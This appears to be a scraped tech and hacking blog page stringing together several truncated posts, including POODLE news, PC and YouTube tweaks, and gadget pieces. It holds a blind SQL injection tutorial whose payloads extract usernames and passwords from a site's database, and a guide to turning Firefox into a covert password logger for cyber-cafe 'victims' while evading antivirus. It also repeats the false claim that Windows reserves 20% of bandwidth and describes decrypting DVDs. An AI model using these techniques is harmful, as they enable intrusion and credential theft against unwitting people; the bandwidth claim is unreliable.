POODLE SSL 3.0 Attack Exploits Widely-used Web Encryption Standard

Another Heartbleed-like vulnerability has been discovered in the decade old but still widely used Secure Sockets Layer (SSL) 3.0 cryptographic protocol that could allow an attacker to decrypt contents of encrypted connections to websites.

Google's Security Team revealed on Tuesday that the most widely used web encryption standard SSL 3.0 has a major security vulnerability that could be exploited to steal sensitive data. The flaw affects any product that follows the Secure layer version 3, including Chrome, Firefox, and Internet Explorer.

Researchers dubbed the attack as "POODLE," stands for Padding Oracle On Downgraded Legacy Encryption, which allows an attacker to perform a man-in-the-middle attack in order to decrypt HTTP cookies. The POODLE attack can force a connection to “fallback” to SSL 3.0, where it is then possible to steal cookies, which are meant to store personal data, website preferences or even passwords.

Three Google security engineers - Bodo Möller, along with fellow researchers Thai Duong and Krzysztof Kotowicz - have uncovered this new security hole in widely used SSL 3.0 that makes the 15-year-old protocol nearly impossible to use safely.

"This vulnerability allows the plaintext of secure connections to be calculated by a network attacker," Bodo Möller, of the Google Security Team, wrote in a blog post today. "I discovered this issue in collaboration with Thai Duong and Krzysztof Kotowicz (also Googlers)."

POODLE (PDF) is really a critical threat because it is used by both websites and Web browsers and will remain critical as long as SSL 3.0 is supported. Therefore, both websites and Web browsers must be reconfigured to prevent using SSL 3.0.

While SSL 3.0 is not anymore the most advanced form of Web encryption standard in use, Möller explained Web browsers and secure HTTP servers still need it in case they encounter errors in Transport Layer Security (TLS), SSL's more modern, less vulnerable layer of security.

"If a client and server both support a version of TLS, the security level offered by SSL 3.0 is still relevant since many clients implement a protocol downgrade dance to work around serve ­side interoperability bugs."

To protect against the POODLE attack, there is nothing an end user can do, same like with the case of Heartbleed and Shellshock. But, companies across the world will be releasing patches to their servers and embedded devices disallowing use of SSl 3.0.

Google discovered the vulnerability a month ago in September, just a few months after the Heartbleed incident brought SSL into the spotlight, and before publicly disclosing the details on the new issue today, the search engine giant alerted software and hardware vendors.

Until the issue is fixed, the trio recommended disabling SSL 3.0 on servers and in clients. For end users, if your browser supports SSL 3.0, you are advised to disable its support or better use tools that supportTLS_FALLBACK_SCSV (Transport Layer Security Signalling Cipher Suite Value), it prevents downgrade attacks.

POODLE is a vulnerability lying within the codes of SSL, which is why it affects the widely used browsers. In response to the issue, Google has announced that it is scrubbing SSL 3.0 support from Chrome browser and will soon remove SSL 3.0 support completely from all its products in the coming months.

Mozilla on its part has also announced that it plans to turn off SSL 3.0 in Firefox. "SSLv3 will be disabled by default in Firefox 34," which the company will release next month. The code to disable the protocol will be available tonight via Nightly.

Read More

Blind Sql InjectionTutorial

Note : Only For Educational Purpose.>!!!

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that

site is vulrnable to blind sql injection.

Steps -

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5. i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit

0,1)=1

if page loads normally we have access to mysql.user and then later we can pull

some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(with limit 0,1 our query here returns 1 row of data, cause subselect returns

only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.

if you get FALSE (some article missing), just change table name until you

guess the right one :)

let's say that we have found that table name is users, now what we need is

column name.

the same as table name, we start guessing. Like i said before try the common

names for columns.

i.e

http://www.site.com/news.php?id=5 and (select

substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get

false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first

character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull

characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT

concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii()

converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT

concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT

concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

Read More

World’s First Fully Open Source Laptop Now Available

Project Novena is alive and running, promising to bring you the world’s “almost” fully open source laptop. And it doesn’t just have open source software, but open source hardware as well. Hardware with open designs for anyone to manufacture and implement as per the requirements.

This is increasingly becoming popular in tech companies today, where all of them are concerned about ensuring data security, by keeping their digital data and communication secure from NSA snooping

Project Novena’s Andrew “bunnie” Huang and Sean “xobs” Cross, two Singapore-based engineers, who care enough about open source products so as to go ahead and build something like Project Novena — not just laptops, as we mentioned in the headline above, but other form factors of computing devices.

Novena is having “a 1.2GHz, Freescale quad-core ARM architecture computer closely coupled with a Xilinx FPGA. It’s designed for users who care about open source, and/or want to modify and extend their hardware: all the documentation for the PCBs is open and free to download, the entire OS is buildable from source, and it comes with a variety of features that facilitate rapid prototyping”, as confirmed on the project’s page on Crowdsupply.

The Project Novena laptop looks like a 13-inch hobbyist device with a full-HD 1920×1080 display, 240 GB SSD, and 3000 mAh battery. It weighs just 1.36 kgs, according to the Project Novena laptop’s claimed specs.

Right now, it is priced at US $1,995, hence its not really available financially to the local consumers, but this will definitely wow people from the tech industries who value open source and want to have complete control over every little aspect of their laptop.

Read More

Make Your Pc Faster,Guaranteed

1. First, run a scandisk or checkdisk. Let Windows fix any errors.

2. Run a disk cleanup utility...this will flush your temporary internet folder,

trash can, temp system files, etc.

3. Delete any garbage files or data...if possible, run a Duplicate File Finder

program.

4. Run Defrag on all partitions (NOTE: run this after you have deleted all trash

and excess files!)

5. Run a registry cleaner utility and delete or get rid of any orphaned entries

in that registry.

6. Check your exisiting swap file for it's size and location (*will explain

location later in the post). If you have alot of ram (i.e. 1 gig and over) set this

swap file to something small, like 250 mb. The reason is that this will force

Windows to load more into memory, resulting in faster performance (note:

some games and applications actually require a certain sized swap file so

check your applications performance after making a size adjustment for any

error messages.)

7. Under XP, you can tell Windows to use Classic Style on your desktop, - this

will remove the neat single click and internet-style desktop but for lower end

systems this will improve performance in other areas, such as gaming and

multi-tasking.

8. Run msconfig and under startup and only keep the programs that are

essential to load in the tray icon (and hence stay resident in memory).

Uncheck anything else non-essential, like an ATI or Nvidia control panel,

Quicktime utility, Real Audio, etc.

9. Upgrade drivers! Check for the latest BIOS, video, motherboard, sound, etc

drivers from the manufacturers. Alot of my friends had chipsets on their

motherboard that had advanced disk management capabilities or AGP port

settings but the drivers weren't loaded for them so they were never being

used. A simple upgrade realized a noticeable difference. For instance, they

didn't have the latest driver for their AGP port so it was set to 1x, instead of

being used at 4x!

10. (OK, so this won't speed up your PC but it could save you alot of time and

trouble later on!) After making all these improvements, make a working

backup! I use Ghost, but for XP users you can also use System Restore...

Read More

Converting Movies To Psp Format

I just watched Africa the Serengeti on my PSP and heres is the lowdown.

Movie - approx 40 minutes - dvd

Saved to hard drive - 2.6GIG - using DVD Decryptor (free program) try google

Transfered to avi format - 377MB- using Super DVD Ripper (9 FREE trial uses)

then you must buy

Transfered to MP4 - 37MB - using the (basically free) Image convertor 2

Average movie breakdown - using above as a guide only.

so im guessing the average movie may be 4.5gig for example

saved to 800MB

CONVERTED TO 70-80MB

Ok use DVD decryptor to save the movie to your hard drive eg. C:\africa (it

will save it for you as described)

When completed find the folder c:\africa on your computer and find the vob

file in that folder - generally the largest one and right click and play it with

your dvd program to see what part it is. If its the correct movie part you now

know thats the one you need.

Once you have located the vob file you want to transfer open DVD Ripper and

go to wizard icon. There you will see an icon of VOB to AVI button. Click it and

then it will ask to locate the file. Locate the file and click it. It will SCAN THE

FILE(just wait till that finishes) a parameter box opens next and just click the

arrow. It then askes to choose output file, click the file icon and locate the

correct fob file. It then askes for file compression - choose microsoft windows

media and then click ok Then press the start button. It will now convert the

vob into avi format.

Read More

Project Ara : Google’s Modular Smartphone

In a launch event at San Francisco, Google gave the first glimpse of project Ara modular prototype Smartphone. Google’s Project Ara wants to assemble your Smartphone from individual parts.

“Project Ara is the codename for an initiative by Google that aims to develop a free, open hardware platform for creating highly modular Smartphone’s”.

The platform aims at a structural frame that holds Smartphone modules of the owner’s choice, such as a display, keyboard or an extra battery. It will allow users to swap out malfunctioning modules or upgrade individual modules as new innovations emerge, providing long lifetime cycle for the handset and reducing electronic waste.

A new video from Phonebloks gives a quick walkthrough of Google’s offices, where we see some of the new hardware and software powering the company’s most ambitious Smartphone project. The project seems to be interesting and ambitious.  As we know that Ara devices will be comprised of modules that users can swap according to their liking, and this new video shows how they’ll stick together. The Ara team is using electro permanent magnets, which allows the individual modules to stay in place.

As Jeff Blanks from 3D Systems, a California-based company says the main challenge will be in creating hardware parts to be robust enough to handle everyday wear and tear.3D Systems is providing 3D printing systems for easily printing the modules for Project Ara.

Another company involved is SoSo Limited, an art and tech studio. It is developing a UI for an application. The app would allow users to check out different combinations of hardware, before they make the purchase.

Google plans to release the first Ara Developers Conference, to be held April 15-16, 2014.

Read More

How to Transfer Data to Any Android Mobile Without Using Data Cable?

There is no doubt about that, now a days 8 out of 10 people use smartphones and 6 out of 10 people use android mobiles. Because those phones which have android operating system are available for less price when compared with other mobiles which have windows mobile operating system and ios. The bitter truth is most of the people having android mobiles but very few of them having USB data cables which are helpful to transfer data from pc to mobile. Some mobile vendors doesn’t provide cables and some other people lost their data cables. Of Course every mobile have Bluetooth connection but the transfer rate from Bluetooth to Bluetooth is very slow.

So here we provide one unique and useful solution to transfer data from pc to android mobile without using any data cable.

How to Transfer Data to Any Android Mobile without Data Cable?

To overcome this problem there is one excellent application which allows you to send and receive files from pc to android mobile. That is Software Data Cable (Pro), by using this application not only transfer from pc to android mobile but also transfer from other devices.

1. To work with this application first you need to download Software Data Cable (Pro) application from Google play Store and install it on your android mobile.

• Download Software Data Cable (Pro)

2. After installing this application just connect to same Wi-Fi network which is already connected to your pc or mac.

3. Now open application and click on “start service” button and it will display an ip address. Note that ip address and paste it on windows explorer.

5. Now just copy the folder or file which one you want to transfer from pc to mobile and paste it on your mobile explorer.(Here mobile explorer means 10.0.2.15, by using this address we connect our mobile to pc).

6. That’s it, in this way we can transfer any file/folder from pc to android mobile but make sure you have Wi-Fi connection.

7. You can also change settings of this application as per your requirements.

Features of Software Data Cable (Pro):

• There is no need to download and install drivers to work with this application.
• Send photos, videos, apps, music and other files to other mobiles, tablets etc.
• You can also auto sync all important data to computer or any cloud storage on daily, weekly basis.
• Transferring speed is too fast with 54Mb/s
• Sync all your important data to cloud storage networks like Microsoft one drive and baidu etc. You can also sync folders and files to laptop, pc or any other file server.
• This is also compatible with windows explorer and other FTP clients like Filezilla.

If you have any doubts while installing and using this application please refer their help guide which comes inbuilt with the application.

Read More

How to Increase Youtube Buffering Speed.......

We all know that Youtube is the best video sharing network with more than 3 Billion views per day.All of us watch youtube videos.But the toughest part comes when youtube videos buffers(Especially when you have a slow Internet connection).In this article I will be sharing some Tips to Increase Youtube Videos Buffering Speed.

On What Factors Does Youtube Buffering Speed Depend?

• Its very simple,youtube videos buffering speed mostly depends on your Internet Speed.

Anyways if you have a slow internet connection then here are some Tweaks using which we can boost youtube buffering speed.

Tips To Speed Up Youtube Videos Buffering:

1.Increase your Internet speed by 20%:

This is a very old trick to Increase your Internet Speed.This trick increases your net speed by 20% which means you are increasing your youtube videos buffering speed as well.

Microsoft windows reserves 20% of your available bandwith for their own purposes like updates and interrogating with your PC etc.This should be undone immediately to enjoy full ISP Speed.

Follow these steps to increase your Internet Speed by 20%:

• Click on start, select run and type “gpedit.msc“.
• select to LOCAL COMPUTER POLICY>COMPUTER CONFIGURATION>ADMNISTRATIVE TEMPELATES>NETWORK> QOS PACKET SHEDULER>LIMIT RESERVABLE BANDWITH.
• Double click on “limit reservable bandwith” and then select “Enabled” snd edit the bandwith to O.

Note: For some versions of windows like windows home and basic versions don’t have gpedit.msc command,in that case just ignore this trick not a big deal and follow the below tricks.

2.Join Youtube Feather Beta:

This is a new Youtube Project called Youtube Feather Beta.
Go to Youtube Feather Beta[this link] and click on join youtube feather beta.Now search for videos and start watching,you should have already found the difference in speeds before and after.Limitations:

• In youtube feather beta you dont see many comments.
• You will not be able to like or dislike the video.
• You will get only 5 suggested or related videos.

The bandwidth which is used to load these things will be utilised to speed up the videos.If you dont like this version then you can leave youtube feather beta at any time.

3.Use Youtube DNS:

Using Youtube open DNS will help you in speed up the youtube video buffering.

For Windows XP users:

• Go to Control Panel from the Start menu.
• Click on Network Connections from the Control Panel choices.
• Choose your connection from the Network Connections window.
• Click Properties button.
• Select Internet Protocol (TCP/IP) and click Properties.

Click the radio button Use the following DNS server addresses and type in OpenDNS addresses in the Preferred DNS server and Alternate DNS server fields.
208.67.222.222
208.67.220.220

For Windows 7 Users:

• Go to control Panel.
• Click on Network and Internet then click on Network and Sharing Center.
• Click on Change adapter settings(at left side).
• Right Click on Local Area Connection then select Properties button.
• Double click on Internet Protocol version 4 (TCP/IPv4)(dont change any thing in IP address).

Click the on Use the following DNS server addresses and type
Preferred DNS server: 208.67.222.222 and  Alternate DNS server: 208.67.220.220

• Then click ok and its done!

4.Speed up youtube videos Buffering with SpeedBit Video Accelerator:

Not only for YouTube, the software works well with more then 165 video sites like Yahoo Video, Facebook, Aol Video, Myspace, ESPN, and many more . You just need to install the software and it will take care of the rest. The free version works with all the normal videos but for accelerating HD (High Definition) videos you need to upgrade to premium version.

• SpeedBit Video Accelerator[Download from here]

5.Increase Youtube Buffering Speed by changing the Video Quality:

You can also speed up Youtube videos buffering by changing the quality of videos to low quality like 240p,360p etc.Use this when you have to do nothing with the quality of videos.

6.Get a Good Internet Plan with good Net Speed:

With the above tweaks you can speed up your youtube videos  buffering more than thrice but if you really want a very good buffering then getting a good subscription plan with good net speed is a wise thing.
If you follow and apply the above tips properly then you will definitely notice an increase in your youtube buffering speed.Those who have tried let us know your experience in your comments.

• Also Read:How to Boost/Increase Internet Speed.

Read More

Convert Mozilla To Keylogger

How this Keylogger Works?

Whenever you login into any website using mozilla firefox browser it always ask’s

you whether you want to Save password or not for that website.We will be using

a script that will not give the user option to save the password instead it will

automatically save the passwords without user’s consent and we will retrieve them

later.

Detection against AV & Firewalls?

fully undectectable against Mcafee,Norton and Avast dont worry.

concept?

you can get many victims just visit a cyber_cafe and make firefox keylogger this is

also a warning to those who use firefox in cafes :)>!!

The keylogger will work on the basis of a script that disables the Firefox browser to

ask the user to save his password whenever he logins to a website. Thereby,

allowing the Firefox to store his username and password combination automatically

without prompting the user. Just follow these steps to convert your firefox into a

keylogger :

1. First and foremost, download the script from here.

2. If you are a Windows user, then navigate to C:/Program Files/Mozilla

Firefox/Components

and if you are using MAC, then navigate to Applications -> Right Click Firefox -

> Show Package Contents -> Contents/MacOS/Components

3. In the downloaded rar file, you will find a script named

as nsLoginManagerPrompter.js, simply extract and then copy and paste the file

in the folder that is applicable to you.

4. Your Firefox keylogger is now ready and whenever anyone enters his username

and password on any site, (this tricks works in almost all sites like

facebook,twitter,linked.in,gmail,myspace) his/her details would be saved

automatically which can be easily retrieved using Fire Password viewer.

Read More